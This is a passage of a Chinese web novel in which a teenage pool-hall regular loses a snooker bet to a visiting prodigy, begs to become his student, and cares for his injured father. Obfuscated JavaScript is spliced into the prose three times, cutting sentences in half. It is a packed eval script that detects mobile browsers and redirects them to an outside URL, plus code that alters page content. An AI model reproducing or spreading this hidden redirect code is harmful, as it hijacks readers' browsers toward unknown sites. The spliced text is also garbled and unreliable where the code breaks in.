江里在这条巷子里住了好几年,巷子里的左邻右舍几乎都认识他。 等热干面的时候,江里一本正经对老板讲:“刘姨,你怎么回事啊,我都长大了,你怎么还是那么年轻,是不是吃了防腐剂。” 刘姨听了,立即喜笑颜开,笑骂一句“个小精怪”,手上麻利地多给江里送了颗卖剩下的卤蛋。 江里就站在巷口慢吞吞吃卤蛋嚼干子。 解决完晚饭,他眯眼看了黑透的天和巷子里连绵的灯,还是没有看到江海军的身影。 于是,一转身,走向乐福广场五楼的时光台球俱乐部。 江里从十二岁就独自跑去时光台球玩儿,到如今十七岁,整整去了五年,早把里面的老板和熟客认了个遍。 刚从大门走进去,恰好碰上时光台球的老板潘登和两三个中年男人一起往外走。 潘登长得高高壮壮,剪着个小平头,喜欢穿白色汗衫配牛仔裤,平时总爱嚼槟榔。乍一看很斯文,又莫名带了点匪气。 一见到江里,潘登先停下脚步,说:“小里,吃了没?” 江里点头,答:“吃了。” “那正好,”潘登朝身后一个五十几岁的中年男人一指,“等一会儿有个人要过来和洪师傅对杆,我们现在要去吃点东西,要是那人来了,你让他等一下,或者你跟他先练两杆。” 江里点点头,说:“好。” 一般规模大点的台球俱乐部总会有这样的情况。 来自各地的台球高手过来,和当地的爱好者打几局球。先相互了解水平,谈好盘口后正式比赛,一百到一千块钱一局不等。 江里从不赌钱,但不妨碍他爱看。 正是晚饭饭点,台球室里稀稀拉拉只开了两三桌,还是靠近角落的大袋口九球。 前面的斯诺克球台全黑着灯,江里没有球可看,一个人又不想练,只好默默坐在1号球台边的沙发上吃糖。 就这么坐了十来分钟,江里余光一瞥,看到门口走进来一个男生。 那男生个头很高,脸上戴着一幅黑框墨镜,遮住了半张脸,只能看到高挺的鼻子和薄润的嘴唇。 他穿着一件白色短袖衬衫,配一条宽松的九分黑色长裤,衬衫下摆宽松地塞进裤腰。 手上提着一个皮质的黑色杆盒,进门时没有直奔收银台开台,而是先东张西望了一会儿。 江里看他感觉面生,应该是第一次来。 又想到潘总刚才讲会有人过来对杆,猜测这个男生就是他要等的人。 于是散漫地走过去,走到那白衣男生面前,微微抬眸,看向他的脸。 江里在十六岁时就已经长到现在这么高,可站在这个男生面前,还得扬着点下巴才能直视他的脸,这叫江里十分不爽。 加上外来挑战者总不那么受欢迎,江里也就没给他好脸色。 江里痞痞地咬着糖,略带着一些讽刺腔调说:“装逼遭雷劈啊,兄dei。” 那男生没听明白,好看的薄唇轻启:“什么?” 声音很轻,吐字清晰,如同山涧溪流。 江里朝他的墨镜指了指,说:“大晚上戴墨镜,不是装逼就是真瞎,你是?” 只见那男生好脾气地一笑,未答反问:“请问潘总在么。” 江里愈发肯定他就是来砸场子的,又说:“他们出去吃饭了,你要对杆得等一会儿,或者和我打两盘。” 那男生停顿了几秒,提着杆盒往1号斯诺克球台走,边走边说:“那行,走吧。” 江里话已经放出去了,加上正好手痒想找人对杆,于是和收银台的小姑娘打了个招呼,让她开了1号台的灯。 一般来说,一家台球俱乐部的1号球一般都是最好的球台,同样也有着最贵的价格。 江里很少打这张台,因为担心付不起每小时88元的价格。 但是对杆又有对杆的讲究,一般都是由输方付钱,所以作为“时光第一小将”,江里倒也没把这个金玉其外的白衣男生放在眼里。 江里主动把球摆好,又去问白衣男生:“抢2还是抢3?还是一盘定胜负?” 对方慢条斯理开着杆盒,淡定从容地朝江里抬起脸,答:“就一盘吧,我试试杆子。” 就这么一句话,把江里气了个半死。 瞧瞧,对方把和他打球说成是“试试杆子”,好像压根儿没把他放在眼里。 要知道,江里虽然年纪小,一手准度却在时光台球叱咤好几年,惊艳过无数人。 江里来了脾气,想故意坑这帅哥一把。 他知道像这种行走江湖靠对杆赚钱的人,很少会在第一杆时显露出真实的水平,大多会放长线钓大鱼,先输个几盘,让对手放松警惕。 于是,他说:“我们这儿的规矩是输方付台费,你知道吧。” 白衣帅哥点头:“知道。” 江里又说:“既然咱们是第一次打球,彼此都不知道水平,要不赌点儿什么?” 白衣帅哥擦拭球杆的手停顿了一下,好像感觉有点儿新鲜,下一秒才问:“你想赌什么?” 江里想到晚上吃的热干面,又想到凯德广场某知名食府的巨大招牌,心里有点痒,便讲:“赌一餐饭吧,赢的人任选餐厅。” 白衣帅哥没犹豫,随意点点头,好像并不过心。 于是对杆正式开始。 江里在时光台球非常有知名度。 一来因为他痞帅耀眼的外表让人过目不忘,二来他的准度几乎到了无人能敌的程度。潘登有一句话用来形容江里,即:“只要有下,小里就能下。” 意思是,在有机会进袋的情况下,江里能百发百中。 当然,是在不需要用到杆法的情况下。 两人争夺了开球权,由白衣男生开球。 他打个了防守杆,让白球回到了开球区。江里才不管那么多迂回战术,他用一支公用球杆一撞,将桌上15颗红球全部撞开了。而白球,停在了一个不好不坏的位置,进球有点儿难度。 他只需要赌一个机会,就是白衣男生这杆不能进球。 那么,他下一杆就势必能够单杆破百。 白衣男生又停顿了一下,扶着球杆没动,似乎有点一言难尽的意思。 他没看球,反倒看了江里好几秒,才闲庭信步般上了场。 江里直觉预感不太对劲。 下一秒,果然见白衣男生已经像一只舒展的大鸟一样趴向球台,俯身的姿势极为完美,未作犹豫已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15875181|176273||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开始发动猛烈进攻。 他一红一彩打得如行云流水,即使戴着黑色的墨镜,也完全不影响他辨别彩球的速度。 江里讪讪地替他捡彩球,一次次放回原点位去。 许是白衣男生那根球杆实在太好用,等江里赫然发现彩球不必再捡时,对方已经打完了桌上所有的球,满分一共147分,他就一杆清台用了七分钟拿到了满分147分。 江里:“……” 斯诺克史上最快清台的大师是火箭奥沙利文,用时五分二十秒。 而这位装逼的墨镜选手,也只慢了一分多钟而已。 看来装逼也不一定会遭雷劈,也可能会赢一盘球和一顿餐厅任选的饭。 江里这下知道这位选手出杆前那一言难尽的表情是怎么回事了。 大概就是在想,怎么会有这种傻逼对手吧。 江里的脸肉眼可见地变黑,尴尬地转身叫收银员关灯。 收银员喊了声:“不足半小时按半小时收钱,44块,谁付?” 江里挥挥手,答:“我,我付。” 在这不到十分钟里,江里只上了一次场,挥了一次杆,就被来人如此吊打,简直是奇耻大辱。 那白衣男生没有多说什么,把球杆放在1号台的沙发上,礼貌地问:“请问洗手间往哪边?” 赢了球也并没有显露出多骄傲自得,反而还是那副温润如玉谦谦克己的模样。 江里朝洗手间方向一指,左手捏着吃完的糖棍,底气虚弱地说:“那、那边。” 趁白衣男生去洗手间时,江里去前台付了钱。 他在时光台球凭脸打对折,44块钱只需付22即可。可这22也花了他好几天的晚饭钱,一时还是有些心疼。 这时,吃完晚饭的潘登和洪师傅等人一同回来了。 一见到他们,江里就像被欺负的狗子找到了主人,趁白衣男生没回来,咬牙切齿控诉道:“潘总,洪叔,这个外马很邪啊!就跟我打了一盘,一杆147把我收了。” 洪师傅即将和人赌钱,闻言顿时大骇,反问:“这么狠?” 江里点头,吵吵道:“盘口得好好调调,不能被这狗东西骗了!” 几个人边说边往中间的休息区走。 有个九球台的客人正好在喊“摆球”,服务生又正好去吃饭了,江里二话没说跑去帮人摆好,又快速回到潘登他们身边。 他还想说几句关于白衣狗东西的事,余光却见对方已经朝他们这边走了过来。 只好缄口。 潘登一回头,见到越走越近的清爽少年,惊讶道:“千陵?” 名叫千陵的狗东西开口打招呼:“舅舅。” 潘登顿时笑了,回头问江里:“小里,你说的是他?” 江里点点头,面色难堪。 潘登指了指身边一个空位,说:“千陵,你坐。” 待人坐好了,他又问:“不是说过几天来?怎么今天就到了。” 白衣男生还是戴着墨镜,可江里感觉到他的目光朝自己扫过来。几秒后,男生答:“反正最近眼睛病了,也不用去学校,干脆休了长假。” 旁边的洪师傅问:“眼睛怎么了?” 千陵说:“细菌性结膜炎,就是红眼病,有传染风险,就戴了墨镜。” 一旁的江里:“……” 他有点想打自己十分钟前口出狂言的自己。 还当着人舅舅的面骂人家是“外马”和“狗东西”。 潘登这才开始对江里介绍:“小里,这不是那个和洪师傅对杆的人,是我外甥盛千陵。”说完又补一句:“他打你个147?” 江里尴尬点头。 潘登指指盛千陵,说:“他7岁开始打斯诺克,11岁就拿过业余赛亚军,球型好时147很正常,现在那些职业球手,也有好多打不过他的。” 江里这会儿压根儿不敢再造次,老实夹着尾巴冲盛千陵打招呼:“盛老师。” 这个称呼听得潘登一笑,又接着说:“哎,小里,我记得你们应该差不多大吧,千陵是96年的,过三个月满18岁,小里你是几月的?” 江里在潘登面前痞不起来,也不敢再讲骚话,只得诚实回答:“7月。” 洪师傅插话:“那就比千陵小一点。” 江里:“……” 谁大谁小,大多少小多少,重要么! 他此刻只想逃走,免得自己遭雷劈化成一具枯骨连渣都不剩。 偏偏名叫盛千陵的白衣帅哥这时开口:“小李?刚才的赌注,你没忘吧。” 江里:“……” 8. 第008章 江里坐在沙发上,心不在焉回想盛千陵的球技。 一气呵成的单杆清台,绝妙精巧的各种走位,炫技表演一般的超强杆法。 不管回想哪一杆,都能看出他的确是自小就练习斯诺克,水平也绝对是职业水准。 而且他没吹牛,真的就是“试试杆子”。 江里想不明白,都是一样的年纪,凭什么有人能在斯诺克造诣上高他这么大一截,简直望尘莫及连背都看不见。 凭他比自己高?凭他比自己帅? 高他承认,帅倒不至于吧,虽然鼻子嘴巴长得好看,虽然皮肤白皙下颌流畅,可那墨镜下头万一是双畸形丑陋的三角眼呢。 一双眼睛毁了整张脸的,比比皆是。 江里又想到刚才盛千陵跟着潘登走的时候,还若有似无提醒他别忘了那一局的赌注。 江里一瞬间泄气,默默在心里思索请他吃碗三块五的热干面靠不靠谱。如果不够,就加碗蛋酒吧,不能再多了。 从外地来的挑战者已经到了,和洪师傅商量打中式八球,两百块一盘。 洪师傅个子不高,五十出头头发已然全部花白,看着年逾六十。长年在这儿坐庄打球,占着主场优势,从来不畏惧任何从四面八方过来的高手。 江里跑去给他们整理球桌,刷台摆球,十分勤快。等要比赛的两人上场了,又坐在一旁揪着嘴继续心烦。 平时他爱看人赌球,眼下却完全不能静下心。 凭什么有的人17岁就能打出147啊?! 凭什么他就不行啊?! 他哪儿不行啊?! 江里简直要疯了。 这时,洪师傅叫他:“小里,摆一下球。” 原来是一盘打完了。 江里赶紧起身走过去。他在这儿玩了五年,对各种球的国标摆法清清楚楚。 尤其这种对杆的时候,他会刻意帮自己认识的人将球压实,然后往点位上推高一丁点儿,好让开球进球的几率更大一些。 洪师傅果然连杆进球,一晚上打了三十多盘球,最后一共赢了十二杆两千四百块。 过来放长线的挑战者做出不服气的表情,约定明日再战,然后假意痛心疾首地掏现金给了钱。 等这人一走,洪师傅掏出两百块递给江里,说:“小里,今晚辛苦你帮我摆球了。” 江里也不扭捏,接过两张红色纸币塞进校服裤兜里,说了声谢谢。 心中长舒一口气,心想请盛千陵吃饭的钱总算是解决了。 次日放了学,江里还是先回了趟家。 家里依然光线黯淡,房子里透着一股老建筑的陈腐味儿。楼下小吃一条街各种炒粉炒面炒花饭的气味飘来,和房子的破败气息交错萦绕。 客厅里放着一根宽扁担。江里进去时,不小心踩到扁担钩子,扁担发出“砰”的一声,倒在水泥地上。 江里漫不经心捡起,又将扁担靠墙放好。 江海军还是给他留了十块钱作为晚饭钱。 江里把这钱夹进一本高一用过的书里,抓了几颗昨天买的棒棒糖塞进裤兜,然后揣着昨天洪师傅给的两百块出了门。 特地早了一些,就是担心到了时光台球,盛千陵已经吃过了晚饭。 哪知刚进门,又恰好碰上潘登带着盛千陵他们几个出去吃晚饭。 盛千陵还是戴着墨镜,半长不短的碎发垂下来散落在额间。鼻子线条流畅,唇角微扬。就是不知道那双三角眼吓不吓人。 江里顿时觉得好可惜。 潘登这时开口说:“小里,来了?走,去吃饭。” 江里连忙摆手,说:“不了不了,我吃了来的,你们去,我在这儿帮客人摆会儿球。” 江里自知长期受潘登等人照顾,向来会主动做点力所能及的事情。 有时候在服务员不够时帮忙摆球,有时候在天气潮湿时帮潘登拿熨斗烫台布,偶会还会帮做清洁的师傅换方形地毯。 时间一长,都快成了半个技术工。 见江里拒绝,潘登也不强求,点点头就出去了。 盛千陵跟着潘登走,回头看一眼江里削瘦修长的背影,随口问:“舅舅,他在你这儿打工么。” 潘登愣了一下,反应过来,答:“噢你说小里,他不是,他在附近上高二,总是在我这儿玩,我也不怎么收他钱,他经常会帮我做点事。他球打得好,喜欢找他玩的人也多。” 盛千陵闻言,墨镜下的眉眼轻扬:“小李球打得好?” 想到昨天那仅秀了一杆的暴力炸球,盛千陵兀自笑了笑,没再追问。 江里去看了看客人们打球,又自己开了张练球台练了一会儿。 他独自练球时是免费的,对杆输了才需要付台费,而且是五折。所以他一年上头,在时光其实花不了多少钱。 昨天那笔22块,还是他今年以来第一次付钱。 练了大约一个小时,江里停了下来。 他靠在斯诺克桌库边,苦思冥想他的17岁为何要为球技掉眼泪。 没想多久,余光见一个白色的修长身影朝他走过来,转头一看,是吃完饭回来的盛千陵过来了。 盛千陵在球台边的沙发上坐下,打算看看江里练球,了解一下他舅舅说的“打得很好”是怎么个好法。 江里见盛千陵坐下,会错了意,上前一步,扶着球杆乖巧地说:“盛老师,这可不怪我,我本来今天是来请你吃晚饭的,你跟潘总出去了,不算我爽约啊。” 江里的长相极具欺骗性。 当他不吃糖不咧嘴不笑的时候,白皙的脸上总挂着少年人的纯真。 又因他穿着二十九中的夏季校服,白色的POLO翻领短袖配蓝色宽松长裤,头发又略蓬松,整个人看着软萌干净人畜无害。 可当他叼着糖棍笑得露出一口白牙时,那点儿痞性便藏匿不住,浑身的拽都从每根头发丝里倾泄出来。 但盛千陵很快抓住重点,他微微扬头,面朝江里问:“那你刚才怎么说吃过了?” 江里竟没往这方面想,谎话张嘴就来:“我、我就胡乱垫了两口。” 盛千陵没再反驳,也不知道是善良的不追问,还是听信了这个理由。 片刻后,他淡淡点头,说:“不用这样。” 江里盯着他看,被墨镜挡着,看不见他的情绪。 江里反问:“哪样儿?” “不必叫盛老师。” 江里一时来劲,凑过去一点儿,显露狼狗本性调侃道:“你比我大,那我叫你一声哥?” 说一次还不够,嘴里咂摸出了点味儿,又叫一次:“哥?” 少年的声线清朗,还没有完全变成男人般的浑厚,叫出“哥”这个字,只让人觉得是最清纯的人做着最魅惑的事。 盛千陵不自然地抿着唇角,抬头去看江里,果然见他露出一脸狡黠的笑。 盛千陵:“……” 这人果然是故意的。 但两人的谈话被迫被中断了。 有一个一直在附近打九球的女生忽然跑过来,站到江里面前,红着脸扭扭捏捏地说:“那个……同学,能加个微信吗?” 江里听了,压根儿没有觉得意外。 他慢吞吞从口袋掏出一支棒棒糖,边撕塑料纸边笑道:“这位妹妹……很勇敢啊。” 说完含住糖,弯腰靠近那个女孩。 他越靠越近,面对面眼对眼,一双星眸直直盯着女孩,一时过分暧昧过分危险。 江里就像一个活脱脱的浪荡子,浑身上下散着着迷人又炽热的野性。 这样长相出众性格又甜野的男孩,在十七八岁的时候,总归是极招人喜欢的。 那女生大气都不敢出,一颗心扑通扑通快跳出胸腔,眼睛里又惊又喜,错愕怔愣半天,都没回过神来。 仿佛下一秒,就要和自己暗恋许久的男生亲上。 只是想想,都羞赧到脸热。 江里顽劣不堪,女孩低头,他也跟着低头,非要和人近距离正面对视,眼尾那点儿恣意张扬压都压不住。他压低声音问:“是不是觉得我长得帅?” 女孩颤颤巍巍点点头。 江里随意指了一下盛千陵,坏笑着追问:“那我和这位小哥,谁更帅?” 江里脑海中忽然闪过一个不服气的攀比念头。 斯诺克比不过,比帅还比不过了吗? 他又不是三角眼! 那女孩年纪不大,羞红了脸,答非所问:“我也是二十九中的……” 意思是校友,希望得到一些沟通上的便利,也希望不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15875182|176273||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要被迫陷入难堪。 即便被拒绝了,也会因为这是在外面而不是在学校,而没有什么后顾之忧。 盛千陵淡静看着江里和陌生女孩那唇对唇的距离,藏在墨镜后的眸光垂了垂,无意继续听下去,起身准备走。 江里这时却飞快离开那个女生,笑眯眯地拉住盛千陵的手腕,换了副乖巧面孔,说:“盛老师别走呀,我俩之间的话没说完呢。” 亲密又得意,调皮又恶劣。 盛千陵的脸转向女孩,大概是朝她看了一眼。 下一秒,江里听到他说:“你先加微信吧。” 江里斜了女孩一眼,故意提高一点儿声线,对盛千陵说:“那怎么行?我只加我女朋友的微信。” 那女孩听出江里的拒绝,窘迫得低下头,羞愤得双目含泪,内心久久不能平息,转身就朝前台跑,头也不回,九球也不打了。 盛千陵有些好奇,停住脚步,反问:“不加微信怎么发展成女朋友?” 江里伸手将盛千陵的肩膀一搂,脸上的笑意仍未褪去,大大咧咧地说:“哎哎盛老师,不要在意这些细节。” 盛千陵向来逻辑严谨,无论对于生活还是对于斯诺克。 他不能理解江里与女孩之间的对话,倒是出于旁观者的角度,想了想,淡淡地问:“你对别人没意思,何必做那些事。” 是指故意弯腰与她对视、逼迫她靠近这一系列调戏之事。 江里却满不在乎地回答:“让她早点死心,不是坏事。” 盛千陵又问:“万一她不能死心呢。” 江里笑得眼睛弯弯,像两枚弦月。 他痞里痞气地说:“那没办法。帅到我这个程度,天生就得承受这些被爱的痛苦。” 盛千陵:“……” 盛千陵未经情事,没有与女孩相处也没有恋爱经验。对于江里的话,并不能很快理解。 但奇怪的是,明明觉得江里是个十足的混球,却偏偏挑不出什么错处来。 甚至江里自夸帅气,盛千陵也从心里认可。 毋庸置疑,他真的长得很好看。 这时,江里掏出一个满是划痕的黑色智能手机,打开微信,说:“盛老师,咱俩加个微信交流一下呗?我这辈子要是能打出一回147,死而无憾啊。” 盛千陵没想太多,觉得江里这个愿望合情合理,于是遂了他的意,加上了好友。 写备注时,盛千陵问:“你姓李?李什么?” 江里愣一下,反应过来,连忙回答:“不不不,我不是姓李,我姓江,我叫江里。” 盛千陵抬起头望江里一眼,又低头写备注。墨镜稍稍往鼻尖滑了一点儿,又被他扶回去。 江里脑子一抽,又解释一句:“我是我爸在江里捡的,他又姓江,就随便取了这名字。” 盛千陵怔松几秒,抿抿嘴唇,软下嗓音说:“抱歉。” 明明没有做错什么,却绅士地先道了歉。 江里取出嘴里的糖,用右手大拇指和食指捏着橘色的糖棍,像捏着一支烟,咧开嘴笑道:“你道什么歉啊?” 盛千陵加好微信,收起了手机,没再说话。 哪知道江里下一秒又说:“哎,盛老师,这样吧,如果你真觉得愧疚,收我做徒弟,好不好?” 盛千陵:“???” 他做什么了就要收徒弟? 江里调皮地眨眨眼,死皮赖脸纠缠道:“你那杆147收了我,我可能从此一蹶不振寻死觅活,你忍心看我成为一个失足美男么。少了我这个大帅比,对国家也是一种损失,你说对吧。” 满脸坏笑,和挡不住的小人得志。 盛千陵后知后觉,才意识到自己是如何一步步走进了江里的言语陷阱。 他接受精英教育,从小到大的生活环境里都没碰到过江里这样的地痞流氓,一时不知道怎么招架,后退一步,在脑子里思索要怎么体面回答,才能不失风度。 江里又凑过来,双眼里含着笑,舔舔因为吃糖而发红的唇,试探道:“盛老师?” 盛千陵没理。 江里又说:“盛师父?” 还是没理。 江里:“千陵?” “……” “哥?” “……” 9. 第009章 江里这个人,只要认定一件事,就会将自己不要脸的优良品格发挥到极致。 十二岁时来时光台球看人打球,他其实非常不受待见,总是被客人轰走又自己跑回来。 一又眼水汪汪的,像只单纯的小狗一样,被欺负了也不出声,无非就是循环地出去又进来,进来又出去。 后来混了个脸熟,会乖巧地帮人捡球,帮人递水,还帮忙跑腿去买烟,也不要报酬,就像块狗皮膏药似的,牢牢粘在球台附近,眼睛一眨不眨看着他们打斯诺克。 日子久了,终于慢慢被接受,被允许坐在球台边的沙发上,被要求计分和替杆,然后被大家亲切地叫做“小里”,一待就是五年。 他的人生格言就是——“脸皮厚者得天下。” 所以眼下,他想要拜盛千陵为师,对方不答应,他自己就不可能轻易放弃。 盛千陵十分苦恼,起身想走开一点儿,江里就一步步挡着缠着,侧脸追问:“行不行啊,师父?” 还没答应呢,这就“师父”都叫上了。 盛千陵有些尴尬,也有些头疼,也实在难以招架江里的软磨硬泡。 他并不想收徒,而且完全没有和这种小痞子相处的经验,于是反问:“我们才认识多久,为什么想拜我为师?” 江里手指捏着球杆尖尖,有一下没一下晃着,认真道:“因为你是我认识的人里,球打得最好的。” 盛千陵下意识蹙眉,又说:“如果你再认识比我打得好的,就马上叛出?” 江里情真意切脱口而出:“那当然不是了。我第一次亲眼见人打出147,就是你打的。我只想拜你为师。” 少年只臣服于技术远高于自己的人。 眼下,他有求于人,自然要把好话讲尽。即便盛千陵此刻让他跪下来拜师,恐怕他二话都不会说,马上就跪下磕几个响头。 而盛千陵却只想摆脱江里这个烫手山芋,故意刁难:“我收徒要求非常高,要先考试,考试完全通过才行。” 江里听了,一双漆黑的眼里光彩乍现。 他头一扬,笑得咧出一口珍珠白牙,说:“好,我参加考试!” 盛千陵没有办法,只好回到球台旁的沙发上坐下,曲起长腿,审视江里,说:“我时间有限,最多只在这边待几个月,所以我不想浪费时间,教没有基础的徒弟。” 江里眨眼点头:“嗯。” 盛千陵说:“考试有两项。第一项是打一百个自由球,要求百发百中。” 江里一听,顿时得意起来,浑身的狂妄与傲慢盖都盖不住。 考准度?那不正好是他的强项? 于是兴致勃勃道:“好,你说怎么打,我就怎么打。我们混社会的,绝不认输。” 他球杆都没换,还是那支从公杆筒里拿来的低档货。 这种球杆经流水线生产,由普通木头制作而成,价格只区区几十元。和盛千陵第一天过来试的那支世界级顶级球杆相差千里。 盛千陵想到舅舅说江里球打得不错,想看看他的基本功与准度,刻意忽略掉那句“混社会”,说:“你打三十个小半台直球,三十个长台直球,四十个贴库直球,掉一个,第一项考试就算失败。” “没问题。”江里眼波流转,胸有成竹地转头,很快回到球台边,自己给自己摆球。 他将白球和目标红球摆成一条直线,然后背对着盛千陵开始击球。 腰一弯下去,宽松的校服运动裤贴在臀部,露出右臀饱满圆润的轮廓。偏偏臀中缝也很鲜明,衬得他的臀部格外挺翘诱人。 盛千陵无意扫到,顿了顿,很快移开目光,专注地看向球台。 小半台直球是每个台球爱好者的基本功。 所以江里三十个球完全入袋,盛千陵并没有感觉很稀奇。他扶一扶墨镜,好整以暇往沙发背上一靠,手臂撑着沙发扶手,嗓音清淡:“继续。” 江里从口袋里摸出一支新的棒棒糖,撕开包装后往嘴里一塞,接着摆球。 少年长得年轻又好看,叼着糖棍的样子又乖又痞。姿势一摆,球杆一架,瞬间就构成了一幅养眼的画面。 接下来的十分钟里,三十个长台直球还是杆杆入洞,无一虚发。 红球落到网袋里,发出“啪哒”一声脆响,响了整整三十次。 这回盛千陵倒是挑了挑眉,对江里的印象微微改观了一些。 第一次和他对杆时,江里粗暴地开了红球,盛千陵原本以为他是个台球莽夫,却没想到颇有难度的长台球他也能驾驭。 最后四十个球是贴库直球,就是将白球和目标球都贴着台球桌的边,而且也要求杆杆落袋。 即使是盛千陵自己,都不能保证自己能百分之百做到,遑论江里这种毫无章法的草台班子。 盛千陵很清楚自己是在想方设法劝退江里。 他自己就是带着茫然的心结来到武汉,不想这么不明不白的分出一半时间去教一个刚认识不久的新球友。 江里对盛千陵的心思浑然不觉。 他没有感觉到自己在被刁难,反而觉得被盛千陵这种级别的球手考验是合情合理的事。 贴库球虽难,江里却练习过无数次,几乎已经能确定它的进球轨迹。只要出杆不歪,他就能做到一击必中。 江里把弯一腰,俯下身体,又将臀部高高撅起来,开始击球。 这一次没有灌下的声音,可大理石球入袋相撞,还是清澈入耳。 江里站姿准确,视力绝佳,出杆稳定,每一颗球都从既定的轨迹里落袋。 差不多过了二十分钟,江里忽然回头,脸上放浪不羁的笑容乍现,眯着眼得意地问:“师父,徒弟打得可还行?” 盛千陵一看桌面—— 四十颗贴库球已全部打完。 而江里真的做到了杆无虚发。 盛千陵:“……” 有这种实力还拜什么师啊…… 江里满心欢喜地等着盛千陵开口。 哪知他说:“这种准度,就没必要拜师了。” 江里一时心急,匆忙跑过去拽住盛千陵的胳膊,说:“大丈夫一言九鼎!你不能这么耍我。” 盛千陵反问:“你觉得你哪儿有问题需要拜师?” 江里对自己的弱项很清楚,故而毫不遮掩地说:“我杆法不行,就连最普通的低杆都打不出。那天你看到了,我没有耐心用杆法防守你,所以选择了炸球。” 盛千陵:“这球房的会员这么多,潘总洪叔他们,哪一个不能教你杆法?” 江里眼睛里浮上一层笑意,实话实说:“他们准度都比不上我,怎么当我师父?” 盛千陵:“……” 真是头疼。 一个进球准度几乎到了百分之百的球手,却打不出最简单的杆法。 这就相当于一个学生,具备获得奥林匹克物理竞赛金奖的能力,却因为没有学过握笔写字,无法提笔作答一样。 着实离谱。 但盛千陵依然坚定地不想收徒。 既然江里提到了“耐心”,盛千陵就决定好好挫挫他的耐心,好让他知难而退。 盛千陵问:“你周六上学么。” 江里摇头:“学校双休。” “好,后天是星期六,你十一点过来,参加第二项考试。” “行。” 盛千陵想了想,认真提醒:“记得吃饱饭再来。” 江里缓缓抬头:“???” 他莫名有了不好的联想…… 但隐隐的,还有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15875183|176273||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些兴奋是怎么回事。 次日是周五。 放学后江里依然来了时光台球。转了几圈没见到盛千陵,恹恹地看了几局球,就回去了。 没想到刚到家,发现江海军也回来了。 江海军在汉正街做“扁担”,依靠出卖体力活赚点工钱。平时天一亮就出去揽工,每天晚上差不多得到七八点才回家。 眼下才七点不到,江里见着屋里灯泡亮着,心里暗自收紧,加快步子往上跑。 江海军正坐在客厅江里睡的那张小床上,弯着腰揉弄自己的脚踝。 五十多岁的年纪,却浑身透着沧桑与苍老。一张脸被太阳晒成深古铜色,皱纹就像田地里的沟渠,横七竖八。眼神倒是十分锐利,一见江里回来,他瞥一眼,嗓音浑厚道:“你个狗的,又去哪里野了。” 江里向来对江海军这口辱骂充耳不闻。 他跑到江海军身边,视线跟着江海军的手去看,只见他的脚踝肿了一些,透着一股充血般的红。 江里问:“这是怎么弄的?” 江海军轻描淡写道:“今天挑货的时候崴了一下,不要紧,死不了,你也成不了孤儿。” 江里懒得理江海军的浑话,径直走到厨房拿了点跌打损伤的药,又蹲到江海军面前,细细给他抹上。 父子俩也不说话,他们无话可讲。 江里给江海军揉了好半天,才说:“去洗了睡吧,明天再看看情况。” 江海军起身,拖着一条腿边走边说:“算你个狗的还有点良心,不枉老子当年把你捡回来。” 江里垂下眼,目光放空看着灰蓬蓬的地面,没答话。 第二天,江里起床时,发现父亲的扁担还搁在客厅里。 他睁着双惺忪的睡眼进了卧室,却发现江海军的脚踝今天肿得更加厉害。他拿手指一按,江海军立即疼得破口大骂:“尼玛个逼你个狗日的,是不是想把老子弄死?” 江里起床气未退,也来了火,扯着嗓子喊:“老子有病啊弄死你好吃席?你这脚肿得像象蹄子,我带你去医院看一下啊。” 江海军拿粗粝的手指指天骂道:“反了天了,你个狗东西,跟老子称老子。” 江里:“老子称爷爷你也得受着。” 江海军不肯去医院,江里非要带他去。 两人争执不下,江里看一眼时间,懒得再和他爸瞎哔哔,直接把江海军往背上一扛,哐哐当当就往下跑。 少年瘦,力气却大,背着江海军还能健步如飞。 于是,一整条巷子里的邻居都听到了江海军说儿子混账造反不是个东西没有□□之类的叫骂声。 江里紧赶慢赶,把江海军弄到社区医院,排队看完医生又拿完药时,已经快到十二点。 他用洪师傅给他的钱付了医药费,又在江海军的骂骂咧咧中扶他回了家。 直到给江海军买了中饭,他才飞快换了件衣服,大步往时光台球跑。 跑得很快,好像有一只穷凶极恶的鬣狗在追他。浅蓝色卫衣被风吹得鼓起,少发的黑发迎风飘扬。 鞋子都快跑掉一只,拉起后跟又继续跑。 短短三四百米路程,好像三四公里那么长。 所幸路远有尽头。 江里气喘吁吁跑到盛千陵面前,不顾自己一身狼狈,双手扶在大腿上,扯出一个明媚的笑容,大口喘气道:“师父,对不起对不起,我迟到了,现在开始考试吧。” 盛千陵正在日常练球,看到江里过来,停下手中的动作。 他还戴着墨镜,配着一身白衣黑裤,在空旷的环境里无声发光。 盛千陵有种松了口气般的感觉。 他不紧不慢收起球杆,脸朝江里看过来,慢慢吐字说:“不用考了,你没机会了。” 10. 第010章 第二十九中高二(7)班教室最后一排。 